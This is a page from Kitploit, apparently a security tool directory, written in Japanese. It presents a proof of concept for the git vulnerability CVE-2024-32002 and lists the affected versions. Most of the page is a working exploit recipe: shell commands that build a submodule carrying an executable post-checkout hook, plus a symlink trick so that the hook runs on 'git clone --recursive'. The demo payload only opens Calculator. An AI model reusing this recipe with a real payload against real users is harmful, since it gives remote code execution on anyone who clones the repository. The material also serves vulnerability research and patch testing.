Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32002 — gitの脆弱性CVE-2024-32002の概念実証 | Kitploit
ツール/GitHubGitHub/markuta/cve-2024-32002
脆弱性分析エクスプロイトサプライチェーンセキュリティ学習と教育ペイロード開発
GitHubmarkuta/cve-2024-32002

CVE-2024-32002

gitの脆弱性CVE-2024-32002の概念実証

リポジトリを見る
2132年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-32002

Calculatorを実行するシンプルな概念実証(macOSのみの例)。git clone --recursiveコマンドを使用すると、このリポジトリはhttps://github.com/markuta/hookyもプルします。このリポジトリには`post-checkout`スクリプトが含まれています。主にコミット修正[t7406-submodule-update.sh](https://github.com/git/git/blob/97065761333fd62db1912d81b489db938d8c991d/t/t7406-submodule-update.sh#L1182)ファイルに基づいています。

実行

注意: 2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、、より前のバージョンが脆弱です。

2.40.2
2.39.4
root@kitploit:~
git clone --recursive github.com/markuta/CVE-2024-32002

独自のリポジトリを作成する

root@kitploit:~
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink

詳細情報

脆弱性の詳細はこちらとこちらで確認できます。

ツールをダウンロード